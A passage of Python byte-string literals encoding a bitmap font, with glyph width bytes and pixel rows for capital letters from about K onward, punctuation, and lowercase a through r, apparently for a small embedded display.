b'\x1c\x03\xc0\x1c\x07\x80\x1c\x0f\x00\x1c\x1e\x00\x1c\x3c\x00\x1c'\
b'\x78\x00\x1c\xf8\x00\x1d\xfc\x00\x1f\xde\x00\x1f\x8e\x00\x1f\x07'\
b'\x00\x1e\x07\x80\x1c\x03\xc0\x1c\x01\xc0\x1c\x00\xe0\x1c\x00\xf0'\
b'\x1c\x00\x78\x1c\x00\x38\x1c\x00\x1c\x1c\x00\x1e\x1c\x00\x0f\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x1c\x00\x00\x1c'\
b'\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00'\
b'\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00'\
b'\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c'\
b'\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00'\
b'\x00\x1f\xff\xe0\x1f\xff\xe0\x1f\xff\xe0\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x1d\x00\x00\x00\x00\x00\x1f\x00\x07\xc0\x1f\x80\x0f\xc0'\
b'\x1f\x80\x0f\xc0\x1f\x80\x0f\xc0\x1f\xc0\x0f\xc0\x1d\xc0\x1d\xc0'\
b'\x1d\xc0\x1d\xc0\x1d\xc0\x1d\xc0\x1c\xe0\x39\xc0\x1c\xe0\x39\xc0'\
b'\x1c\xe0\x39\xc0\x1c\xf0\x39\xc0\x1c\x70\x71\xc0\x1c\x70\x71\xc0'\
b'\x1c\x70\x71\xc0\x1c\x38\xe1\xc0\x1c\x38\xe1\xc0\x1c\x38\xe1\xc0'\
b'\x1c\x3d\xc1\xc0\x1c\x1d\xc1\xc0\x1c\x1d\xc1\xc0\x1c\x1d\xc1\xc0'\
b'\x1c\x0f\x81\xc0\x1c\x0f\x81\xc0\x1c\x0f\x81\xc0\x1c\x0f\x01\xc0'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x1a\x00\x00\x00\x00\x00\x1e\x00\x0e\x00\x1e\x00\x0e\x00\x1f\x00'\
b'\x0e\x00\x1f\x80\x0e\x00\x1f\x80\x0e\x00\x1f\xc0\x0e\x00\x1d\xc0'\
b'\x0e\x00\x1c\xe0\x0e\x00\x1c\xf0\x0e\x00\x1c\x70\x0e\x00\x1c\x38'\
b'\x0e\x00\x1c\x3c\x0e\x00\x1c\x1c\x0e\x00\x1c\x0e\x0e\x00\x1c\x0f'\
b'\x0e\x00\x1c\x07\x0e\x00\x1c\x03\x8e\x00\x1c\x03\xce\x00\x1c\x01'\
b'\xce\x00\x1c\x00\xee\x00\x1c\x00\xfe\x00\x1c\x00\x7e\x00\x1c\x00'\
b'\x7e\x00\x1c\x00\x3e\x00\x1c\x00\x1e\x00\x1c\x00\x1e\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00'\
b'\x00\x00\x00\x00\x00\x3f\xc0\x00\x00\xff\xf0\x00\x03\xff\xf8\x00'\
b'\x07\xe0\x7e\x00\x07\x80\x1e\x00\x0f\x00\x0f\x00\x1e\x00\x07\x80'\
b'\x1c\x00\x03\x80\x1c\x00\x03\x80\x38\x00\x01\xc0\x38\x00\x01\xc0'\
b'\x38\x00\x01\xc0\x38\x00\x01\xc0\x38\x00\x01\xc0\x38\x00\x01\xc0'\
b'\x38\x00\x01\xc0\x38\x00\x01\xc0\x1c\x00\x03\x80\x1c\x00\x03\x80'\
b'\x1e\x00\x07\x80\x0f\x00\x0f\x00\x07\x80\x1e\x00\x07\xe0\x7e\x00'\
b'\x01\xff\xfc\x00\x00\xff\xf0\x00\x00\x3f\xc0\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00'\
b'\x00\x1f\xff\x80\x1f\xff\xe0\x1f\xff\xf0\x1c\x00\x78\x1c\x00\x38'\
b'\x1c\x00\x1c\x1c\x00\x1c\x1c\x00\x1c\x1c\x00\x1c\x1c\x00\x1c\x1c'\
b'\x00\x38\x1c\x00\xf8\x1f\xff\xf0\x1f\xff\xe0\x1f\xff\x80\x1c\x00'\
b'\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00'\
b'\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x3f\x80'\
b'\x00\x00\xff\xe0\x00\x03\xff\xf8\x00\x07\xe0\xfc\x00\x0f\x80\x3e'\
b'\x00\x0e\x00\x1e\x00\x1e\x00\x0f\x00\x1c\x00\x07\x00\x1c\x00\x07'\
b'\x00\x38\x00\x03\x80\x38\x00\x03\x80\x38\x00\x03\x80\x38\x00\x03'\
b'\x80\x38\x00\x03\x80\x38\x00\x03\x80\x38\x00\x03\x80\x38\x00\x03'\
b'\x80\x1c\x00\x07\x00\x1c\x02\x07\x00\x1e\x03\x8f\x00\x0e\x03\xfe'\
b'\x00\x0f\x81\xfe\x00\x07\xe0\xfc\x00\x03\xff\xfe\x00\x00\xff\xff'\
b'\x80\x00\x3f\xcf\xc0\x00\x00\x03\x80\x00\x00\x00\x80\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x1f\xff\xc0\x00\x1f'\
b'\xff\xf0\x00\x1f\xff\xf8\x00\x1c\x00\x7c\x00\x1c\x00\x1e\x00\x1c'\
b'\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c'\
b'\x00\x1e\x00\x1c\x00\x7c\x00\x1f\xff\xf8\x00\x1f\xff\xf0\x00\x1f'\
b'\xff\xc0\x00\x1c\x0f\x00\x00\x1c\x07\xc0\x00\x1c\x03\xc0\x00\x1c'\
b'\x01\xe0\x00\x1c\x00\xf0\x00\x1c\x00\xf0\x00\x1c\x00\x78\x00\x1c'\
b'\x00\x3c\x00\x1c\x00\x3c\x00\x1c\x00\x1e\x00\x1c\x00\x1e\x00\x1c'\
b'\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x18\x00\x00\x00\x00\x00\xfe\x00\x03\xff\xc0\x07\xff'\
b'\xe0\x0f\x81\xf0\x1e\x00\xf0\x1c\x00\x78\x1c\x00\x38\x1c\x00\x38'\
b'\x1e\x00\x00\x0f\x00\x00\x0f\xe0\x00\x07\xfe\x00\x01\xff\xc0\x00'\
b'\x7f\xf0\x00\x07\xf8\x00\x00\xf8\x00\x00\x3c\x38\x00\x1c\x38\x00'\
b'\x1c\x3c\x00\x1c\x1c\x00\x3c\x1e\x00\x38\x0f\x80\xf8\x07\xff\xf0'\
b'\x03\xff\xe0\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x00'\
b'\x00\x00\x00\x7f\xff\xf0\x7f\xff\xf0\x7f\xff\xf0\x00\x70\x00\x00'\
b'\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70'\
b'\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00'\
b'\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00'\
b'\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x1c'\
b'\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c'\
b'\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c'\
b'\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c'\
b'\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c'\
b'\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1e\x00\x1e\x00\x0e'\
b'\x00\x1c\x00\x0f\x00\x3c\x00\x07\xc0\xf8\x00\x07\xff\xf0\x00\x01'\
b'\xff\xe0\x00\x00\x7f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x70\x00\x07\x78'\
b'\x00\x0f\x38\x00\x0e\x38\x00\x0e\x3c\x00\x1e\x1c\x00\x1c\x1e\x00'\
b'\x3c\x0e\x00\x38\x0e\x00\x38\x0f\x00\x78\x07\x00\x70\x07\x00\x70'\
b'\x03\x80\xe0\x03\x80\xe0\x03\xc1\xe0\x01\xc1\xc0\x01\xc1\xc0\x01'\
b'\xe3\xc0\x00\xe3\x80\x00\xe7\x80\x00\x77\x00\x00\x77\x00\x00\x7f'\
b'\x00\x00\x3e\x00\x00\x3e\x00\x00\x3e\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x24\x00\x00\x00\x00\x00\x00\xe0\x01\xf0\x00\xe0\xe0\x01'\
b'\xf0\x00\xe0\x70\x01\xf0\x01\xc0\x70\x03\xb8\x01\xc0\x70\x03\xb8'\
b'\x01\xc0\x70\x03\xb8\x01\xc0\x38\x07\x1c\x03\x80\x38\x07\x1c\x03'\
b'\x80\x38\x07\x1c\x03\x80\x38\x0f\x1e\x03\x80\x1c\x0e\x0e\x07\x00'\
b'\x1c\x0e\x0e\x07\x00\x1c\x1e\x0e\x07\x00\x1c\x1c\x07\x07\x00\x0e'\
b'\x1c\x07\x0e\x00\x0e\x1c\x07\x0e\x00\x0e\x38\x03\x8e\x00\x0e\x38'\
b'\x03\x8e\x00\x0f\x38\x03\x9e\x00\x07\x78\x01\xdc\x00\x07\x70\x01'\
b'\xdc\x00\x07\x70\x01\xdc\x00\x07\xf0\x01\xfc\x00\x03\xe0\x00\xf8'\
b'\x00\x03\xe0\x00\xf8\x00\x03\xe0\x00\xf8\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x17\x00\x00\x00\x00\x78\x00\x3c\x3c\x00\x78\x1c\x00'\
b'\x70\x1e\x00\xf0\x0f\x01\xe0\x07\x01\xc0\x03\x83\x80\x03\xc7\x80'\
b'\x01\xef\x00\x00\xee\x00\x00\xfe\x00\x00\x7c\x00\x00\x38\x00\x00'\
b'\x7c\x00\x00\xfe\x00\x01\xef\x00\x01\xc7\x00\x03\xc7\x80\x07\x83'\
b'\xc0\x07\x01\xc0\x0e\x00\xe0\x1e\x00\xf0\x3c\x00\x78\x38\x00\x38'\
b'\x78\x00\x3c\xf0\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00'\
b'\x00\x00\x00\xf0\x00\x1e\x70\x00\x1c\x38\x00\x38\x3c\x00\x78\x1c'\
b'\x00\x70\x0e\x00\xe0\x0f\x01\xe0\x07\x01\xc0\x03\x83\x80\x03\xc7'\
b'\x80\x01\xc7\x00\x00\xee\x00\x00\xfe\x00\x00\x7c\x00\x00\x38\x00'\
b'\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00'\
b'\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x00\x00\x1f\xff'\
b'\xf0\x1f\xff\xf0\x1f\xff\xf0\x00\x00\xf0\x00\x01\xe0\x00\x03\xc0'\
b'\x00\x03\x80\x00\x07\x80\x00\x0f\x00\x00\x1e\x00\x00\x1c\x00\x00'\
b'\x38\x00\x00\x78\x00\x00\xf0\x00\x01\xe0\x00\x01\xc0\x00\x03\xc0'\
b'\x00\x07\x80\x00\x0f\x00\x00\x0e\x00\x00\x1c\x00\x00\x3c\x00\x00'\
b'\x78\x00\x00\x7f\xff\xf8\x7f\xff\xf8\x7f\xff\xf8\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x0a\x00\x00\x00\x3f\x80\x3f\x80\x3f\x80\x38\x00'\
b'\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00'\
b'\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00'\
b'\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00'\
b'\x38\x00\x38\x00\x3f\x80\x3f\x80\x3f\x80\x00\x00\x0a\x00\x00\x00'\
b'\xe0\x00\xe0\x00\x70\x00\x70\x00\x70\x00\x70\x00\x38\x00\x38\x00'\
b'\x38\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x0e\x00\x0e\x00\x0e\x00'\
b'\x0e\x00\x07\x00\x07\x00\x07\x00\x07\x80\x03\x80\x03\x80\x03\x80'\
b'\x01\xc0\x01\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x0a\x00\x00\x00\x7f\x00\x7f\x00\x7f\x00\x07\x00'\
b'\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00'\
b'\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00'\
b'\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00'\
b'\x07\x00\x07\x00\x7f\x00\x7f\x00\x7f\x00\x00\x00\x11\x00\x00\x00'\
b'\x00\x01\xc0\x00\x03\xe0\x00\x03\xe0\x00\x07\x70\x00\x07\x70\x00'\
b'\x06\x30\x00\x0e\x38\x00\x0e\x38\x00\x1c\x1c\x00\x1c\x1c\x00\x38'\
b'\x0e\x00\x38\x0e\x00\x38\x0e\x00\x70\x07\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xf8\xff\xff\xf8'\
b'\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x0c\x00\x00\x00\x78\x00\x3c\x00\x1c\x00\x0c\x00\x06\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x01\xfc\x00\x07\xff\x00\x0f\xff\x80\x1e\x07\xc0'\
b'\x3c\x01\xc0\x38\x01\xc0\x00\x01\xc0\x00\x07\xc0\x01\xff\xc0\x0f'\
b'\xff\xc0\x1f\xf9\xc0\x1e\x01\xc0\x38\x01\xc0\x38\x03\xc0\x38\x07'\
b'\xc0\x3c\x0f\xc0\x1f\xff\xc0\x0f\xfd\xc0\x07\xf0\xe0\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x38\x00\x00\x38\x00\x00'\
b'\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38'\
b'\xf8\x00\x3b\xfe\x00\x3f\xff\x00\x3f\x0f\x80\x3e\x07\x80\x3c\x03'\
b'\x80\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0'\
b'\x38\x01\xc0\x38\x01\xc0\x3c\x03\x80\x3c\x07\x80\x3f\x0f\x00\x3f'\
b'\xff\x00\x3b\xfe\x00\x38\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf0\x00\x07\xfc\x00'\
b'\x0f\xfe\x00\x1e\x0f\x00\x3c\x07\x80\x38\x03\x80\x70\x00\x00\x70'\
b'\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x03'\
b'\x80\x38\x03\x80\x3c\x07\x00\x3e\x0f\x00\x1f\xfe\x00\x0f\xfc\x00'\
b'\x03\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00'\
b'\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0\x00'\
b'\x01\xc0\x00\x01\xc0\x01\xf1\xc0\x07\xfd\xc0\x0f\xff\xc0\x1f\x0f'\
b'\xc0\x1c\x07\xc0\x1c\x03\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0'\
b'\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x1c\x03\xc0\x1e'\
b'\x07\xc0\x0f\x0f\xc0\x0f\xff\xc0\x07\xfd\xc0\x01\xf1\xc0\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x01\xf8\x00\x07\xfe\x00\x0f\xff\x00\x0f\x0f\x80\x1c\x03\x80\x18'\
b'\x01\x80\x38\x01\xc0\x3f\xff\xc0\x3f\xff\xc0\x3f\xff\xc0\x38\x00'\
b'\x00\x38\x00\x00\x38\x00\x00\x1c\x01\xc0\x1e\x03\x80\x1f\x07\x80'\
b'\x0f\xff\x00\x07\xfe\x00\x01\xf8\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0b\x00\x00\x00\x07\xe0\x0f\xe0\x1f\xe0\x1e\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\xff\xc0\xff\xc0\xff\xc0\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x01\xf1\xc0\x07\xfd\xc0\x0f\xff\xc0\x0f\x0f\xc0\x1e'\
b'\x07\xc0\x1c\x03\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01'\
b'\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x1c\x03\xc0\x1e\x07\xc0'\
b'\x0f\x0f\xc0\x0f\xff\xc0\x07\xfd\xc0\x01\xf9\xc0\x00\x01\xc0\x38'\
b'\x01\xc0\x3c\x03\x80\x3e\x07\x80\x1f\xff\x00\x0f\xfe\x00\x03\xf8'\
b'\x00\x00\x00\x00\x13\x00\x00\x00\x00\x38\x00\x00\x38\x00\x00\x38'\
b'\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\xf8'\
b'\x00\x3b\xfe\x00\x3f\xff\x00\x3f\x0f\x80\x3c\x07\x80\x3c\x03\x80'\
b'\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38'\
b'\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03'\
b'\x80\x38\x03\x80\x38\x03\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07'\
b'\x00\x00\x38\x38\x38\x00\x00\x00\x00\x38\x38\x38\x38\x38\x38\x38'\
b'\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x0b\x00\x00\x00\x07\x00\x07\x00\x07\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00'\
b'\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00'\
b'\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00'\
b'\x07\x00\x0f\x00\x7e\x00\x7e\x00\xfc\x00\x00\x00\x13\x00\x00\x00'\
b'\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00'\
b'\x1c\x00\x00\x1c\x00\x00\x1c\x03\xc0\x1c\x07\x80\x1c\x0f\x00\x1c'\
b'\x1e\x00\x1c\x7c\x00\x1c\xf8\x00\x1d\xe0\x00\x1f\xc0\x00\x1f\xe0'\
b'\x00\x1f\xf0\x00\x1e\x78\x00\x1c\x78\x00\x1c\x3c\x00\x1c\x1e\x00'\
b'\x1c\x0f\x00\x1c\x0f\x00\x1c\x07\x80\x1c\x03\xc0\x1c\x01\xe0\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x38\x38\x38\x38\x38\x38'\
b'\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38'\
b'\x38\x38\x38\x38\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x7c'\
b'\x0f\x80\x1d\xfe\x3f\xc0\x1d\xff\x7f\xe0\x1f\x87\xe0\xf0\x1e\x07'\
b'\xc0\x70\x1e\x03\x80\x70\x1c\x03\x80\x70\x1c\x03\x80\x70\x1c\x03'\
b'\x80\x70\x1c\x03\x80\x70\x1c\x03\x80\x70\x1c\x03\x80\x70\x1c\x03'\
b'\x80\x70\x1c\x03\x80\x70\x1c\x03\x80\x70\x1c\x03\x80\x70\x1c\x03'\
b'\x80\x70\x1c\x03\x80\x70\x1c\x03\x80\x70\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x38\xf8\x00\x3b\xfe\x00\x3f\xff\x00\x3f\x0f\x80'\
b'\x3c\x07\x80\x3c\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38'\
b'\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03'\
b'\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'\
b'\xf8\x00\x07\xfe\x00\x0f\xff\x00\x1f\x0f\x80\x1e\x07\x80\x1c\x03'\
b'\x80\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0'\
b'\x38\x01\xc0\x38\x01\xc0\x1c\x03\x80\x1e\x07\x80\x1f\x0f\x80\x0f'\
b'\xff\x00\x07\xfe\x00\x01\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x38\xf8\x00\x3b\xfe\x00'\
b'\x3b\xff\x00\x3f\x0f\x80\x3e\x07\x80\x3c\x03\x80\x38\x01\xc0\x38'\
b'\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01'\
b'\xc0\x3c\x03\x80\x3c\x07\x80\x3f\x0f\x00\x3f\xff\x00\x3b\xfc\x00'\
b'\x38\xf8\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38'\
b'\x00\x00\x38\x00\x00\x38\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x01\xf1\xc0\x07\xfd\xc0\x0f\xfd\xc0\x1f\x0f'\
b'\xc0\x1e\x07\xc0\x1c\x03\xc0\x38\x03\xc0\x38\x01\xc0\x38\x01\xc0'\
b'\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x1c\x03\xc0\x1e'\
b'\x07\xc0\x0f\x0f\xc0\x0f\xff\xc0\x03\xfd\xc0\x01\xf1\xc0\x00\x01'\
b'\xc0\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0'\
b'\x00\x01\xc0\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x39\xf0\x3b\xf0\x3f\xe0\x3e\x00'\
b'\x3c\x00\x3c\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00'\
b'\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
